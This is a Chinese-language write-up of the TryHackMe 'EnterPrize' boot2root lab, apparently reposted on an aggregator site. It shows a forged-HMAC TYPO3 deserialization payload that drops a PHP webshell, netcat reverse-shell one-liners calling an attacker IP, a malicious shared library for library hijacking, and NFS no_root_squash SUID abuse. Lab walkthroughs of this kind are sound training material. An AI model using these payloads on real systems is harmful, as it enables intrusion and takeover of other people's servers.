TryHackMe-EnterPrize(boot2root)

news2024/11/25 0:35:35

EnterPrize


端口扫描

循例nmap

在这里插入图片描述

Web枚举

进到enterprize.thm

在这里插入图片描述

gobuster扫

在这里插入图片描述

到处扫了一段时间,ffuf扫vhost扫到个maintest

在这里插入图片描述

进到maintest,是typo3

在这里插入图片描述

/typo3conf下有些文件

在这里插入图片描述

在LocalConfiguration.old有一个key,它应该就是提示当中所说的

在这里插入图片描述

在谷歌找到一篇有关typo3 encryptionkey到RCE的文章

值得关注的是这段代码

    /**
     * Initializes the current state of the form, based on the request
     * @throws BadRequestException
     */
    protected function initializeFormStateFromRequest()
    {
        $serializedFormStateWithHmac = $this->request->getInternalArgument('__state');
        if ($serializedFormStateWithHmac === null) {
            $this->formState = GeneralUtility::makeInstance(FormState::class);
        } else {
            try {
                $serializedFormState = $this->hashService->validateAndStripHmac($serializedFormStateWithHmac);
            } catch (InvalidHashException | InvalidArgumentForHashGenerationException $e) {
                throw new BadRequestException('The HMAC of the form could not be validated.', 1581862823);
            }
            $this->formState = unserialize(base64_decode($serializedFormState));
        }
    }

encryptionkey用于计算HMAC,而一旦我们利用有效的HMAC将能构造反序列进行RCE

echo '<?php system($_GET[1]);?>' > ./exp.php

这里不能有双引号,否则可能会破坏后面序列化的payload

使用phpggc生成序列化payload

注意路径,typo3在public下

在这里插入图片描述

a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:26:"<?php system($_GET[1]);?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:50:"/var/www/html/public/fileadmin/_temp_/backdoor.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;}i:7;i:7;}

使用php进行hmac加密

<?php
$secrt = hash_hmac('sha1', '<payload>', "<encryptkey>");
print($secrt);
?>

我们利用contact form表单交付payload

在这里插入图片描述

burp修改__state

在这里插入图片描述

访问文件,成功RCE

在这里插入图片描述

Reverse Shell

用curl把nc传过去

在这里插入图片描述

reverse shell payload

mkfifo /tmp/f1;/tmp/nc 10.14.39.48 8888 < /tmp/f1 | /bin/bash > /tmp/f1

在这里插入图片描述

getshell

横向移动

在john家目录下发现develop

在这里插入图片描述

传个pspy64过去看一眼, 在定时执行myapp

在这里插入图片描述

通过ldd查看,发现了一个john自定义的so文件

在这里插入图片描述

查看/etc/ld.so.conf,这里记录了动态链接库的路径,这里又指向了/etc/ld.so.conf.d下的所有conf文件

在这里插入图片描述

有趣的是其中一个文件连接到/home/john/develop的test.conf,而我们有权写入develop文件夹

现在的思路就是通过创建test.conf指向我们自己创建的恶意so文件,让myapp加载从而移动到john

创建test.conf

在这里插入图片描述

创建c文件

#include <stdio.h>
#include <unistd.h>

__attribute__ ((__constructor__)) void hack (void){
    system("mkfifo /tmp/f3;/tmp/nc 10.14.39.48 9999 < /tmp/f3 | /bin/bash > /tmp/f3");
}

编译,通过wget传过去

在这里插入图片描述

此时再看ldd,libcustom.so已被劫持,libcustom.so已经指向我们创建的so文件了

在这里插入图片描述

我折腾了几个小时,我发现cronjob执行了代码,但似乎执行失败了,我找不到原因,我也尝试了更换payload,但依旧是失败,即使pspy捕获到了它执行了命令,但并不成功

但我手动执行myapp是能够正常执行的,这也意味着我的payload没有任何问题,是房间可能存在问题导致的

这里我直接打了个pwnkit过去直接到了root

但为了体验房间内容,在john下创建ssh key,直接进到john

user flag

在这里插入图片描述

权限提升

ss -tlnp发现开了应该是nfs

在这里插入图片描述

/var/nfs的共享被设置了no_root_squash

在这里插入图片描述

由于防火墙的存在,我们通过ssh进行端口转发

在这里插入图片描述

挂载

在这里插入图片描述

从靶机中复制其bash过来

在这里插入图片描述

在攻击机中重新复制靶机的bash,并为其赋suid

这里重新复制一遍是为了改变文件的所有者为root,否则suid不是root那就没用了

在这里插入图片描述

直接利用suid bash到root,拿到root flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/480717.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【开发工具】 什么是Office 今天让你认识它

&#x1f680; 个人主页 极客小俊 ✍&#x1f3fb; 作者简介&#xff1a;web开发者、设计师、技术分享博主 &#x1f40b; 希望大家多多支持一下, 我们一起进步&#xff01;&#x1f604; &#x1f3c5; 如果文章对你有帮助的话&#xff0c;欢迎评论 &#x1f4ac;点赞&#x1…

HTML5 <select> 标签

实例 HTML5 <select>标签用于实现下拉列表。请参考下面的示例&#xff1a; 创建带有 4 个选项的选择列表&#xff1a; <select> <option value"volvo">Volvo</option> <option value"saab">Saab</option> <opti…

3 文件和目录

3.1 stat、fstat、lstat 函数 #include <sys/types.h> #include <sys/stat.h>//三个函数的返回&#xff1a;若成功则为 0&#xff0c;若出错则为-1 int stat(const char *pathname, struct stat *buf) ; int fstat(int filedes,struct stat * buf) ; int lstat(co…

嵌入式Sqlite数据库【基本语法、Sqlite-JDBC、嵌入到Java程序】

目录 前言 基本介绍 Sqlite 对比 MySQL 字段类型 语法 创建表 插入数据 更新数据 查询数据 删除数据 查看建表语句 Sqlite-JDBC 嵌入到Java程序 前言 最近在用JavaFX做一个桌面软件需要用到数据库&#xff0c;但MySQL这种数据库明显只能本地访问&#xff0c;把软…

gdb server简单探索

前言 gdb server运行于嵌入式设备&#xff0c;比如arm或arm64体系结构&#xff0c;体积小&#xff0c;占用资源少&#xff0c;相当于一个前端。gdb server可以attach到一个strip的进程。 gdb运行于性能更高的主机&#xff0c;如x86设备上&#xff0c;需要有带符号表的相应进程…

【IPv6】基本概念及字段

IPV4知识点&#xff1a; 字段值 IPv4字段共 字段值解释Version版本版本字段&#xff0c;可以区分V4和V6版本&#xff0c;V4是0100&#xff0c;V6是0110&#xff0c;需要注意的是V4和V6头部除了版本字段位置相同外&#xff0c;其他都是不一样的&#xff0c;因此两个协议不能直…

如何编写高质量代码

如何编写高质量代码 1. 前言2. 明确业务场景和用户需求3. 编程实践技巧3.1 提高命名规范3.2 保持代码简洁3.3 好的注释 4. 软件测试5. 总结 1. 前言 现代软件开发中&#xff0c;代码是构建高质量软件的核心。高质量代码能够提高软件系统的可靠性、可维护性和可扩展性&#xff…

3.3 动态存储随机存储器

学习目标&#xff1a; 理解动态随机存取存储器的基本原理和工作机制。掌握动态随机存取存储器的读写操作及时序。理解动态随机存取存储器的存储单元结构和电路设计。熟悉动态随机存取存储器的刷新技术及其影响因素。理解动态随机存取存储器与静态随机存取存储器的异同。掌握动态…

2008-2019年主要城市PITI指数

2008-2019年主要城市PITI指数 1、来源&#xff1a;附在文件内 2、时间区间&#xff1a;2008-2019年 3、具体时间分布&#xff1a;、2008、2009-2010、2011、2012、2013-2014、2014-2015、2015-2016、2016-2017、2017-2018、2018-2019、 4、范围&#xff1a;包括110个城市&a…

Runtime Data Area(运行时数据区域)

运行时数据区是JVM用来管理和存储Java程序执行过程中所需要的各种数据的区域&#xff0c;也成为JVM内存结构。JVM内存结构主要包括以下几个部分&#xff1a; 程序计数器&#xff08;Program Counter Register&#xff09; 程序计数器是一种特殊的内存区域&#xff0c;它可以在…

线索二叉树(前中后序线索化/遍历/画线索)

线索二叉树 文章目录 线索二叉树1 线索二叉树的基本概念2 线索二叉树的构造2.1 线索二叉树的存储结构2.2 给线索二叉树画线索2.2.1 中序2.2.2 先序2.2.3 后序 2.3 二叉树线索化代码实现2.3.1 通过中序遍历线索化2.3.2 通过先序遍历线索化2.3.3 通过后序遍历线索化 3 线索二叉树…

五一欢乐赛!题解

前言 有点一言难尽, 这次本来想的给大火减减压放了很多区域赛和省赛的签到题(还有一些是写过的题), 没想到打的并不是很理想, 还用了分数值想减少一些差距, 结果看起来好像让差距更大了, 尴尬 A题 Frozen Scoreboard https://codeforces.com/gym/104076/problem/D 济南站的中…

【MST+离线】ABC235 E - MST + 1

一开始想的是分类讨论&#xff0c;看那条边加了之后成不成环&#xff0c;如果不成环且权值在前n-1&#xff0c;则一定在MST里&#xff0c;不在前n-1则不在MST里&#xff1b;如果成环了&#xff0c;如果权值不在前n-1&#xff0c;则不在MST里&#xff0c;如果权值在前n-1&#x…

InstructGPT怎么准备和标记数据集

目录 1. 谁标记数据集 2. 数据集的来源 3.数据预处理 4. 标记数据集的方法 5. 数据多样性 6. 这样标记的数据的不足之处 名词解释 1. 谁标记数据集 OpenAI 公司在Upwork平台上和Scale AI公司聘请了大约 40 名承包商为他们标记数据&#xff0c;通过筛选测试(screening tes…

ros基础笔记

1创建工作空间 catkin_init_workspace 将文件夹初始化成ros文件 编译工作空间catkin_make vi ~/.bashrc 加入环境变量bashrc一下在任何终端都生效 catkin_create_pkg learning_communication通讯机制 std_msgs数据结构 rospy roscpp catkin_create_pkg mbot_description ur…

【C++】string类常用接口

目录 一、string类二、string类的常用接口1.string类对象的常见构造2.string类对象的容量操作3.string类对象的访问及遍历操作4.string类对象的修改操作5.string类非成员函数6.vs和g下string结构的说明 一、string类 STL的六大组件&#xff1a; 字符串是表示字符序列的类标准…

E. Train Hard, Win Easy(数学推导 + 前缀和)

Problem - E - Codeforces 这是一个有关竞赛编程的问题。Zibi 是一名竞赛编程教练&#xff0c;有 n 名选手想要备战。培训比赛具有一些不同寻常的规则——每个团队有两名成员和两个问题&#xff0c;每个选手都会编写其中一个问题的代码。当然&#xff0c;一个团队中的人将编写不…

ViveNAS - 一个基于LSM tree的文件存储实现 (一)

1. ViveNAS &#xff08;GitHub - cocalele/ViveNAS&#xff09; ViveNAS 是一个开源分布式的网络文件系统&#xff08;NAS&#xff09;, 具有下面的特点: - 通过不同存储介质的结合&#xff0c;在高性能、低成本间寻找动态的平衡 - 解决数据的长期、低成本存储问题&#xff…

JVM-0428

执行引擎 执行引擎做什么的 执行引擎是Java虚拟机核心的组成部分之一。“虚拟机”是一个相对于“物理机”的概念&#xff0c;这两种机器都有代码执行能力&#xff0c;其区别是物理机的执行引擎是直接建立在处理器、缓存、指令集和操作系统层面上的&#xff0c;而虚拟机的执行引…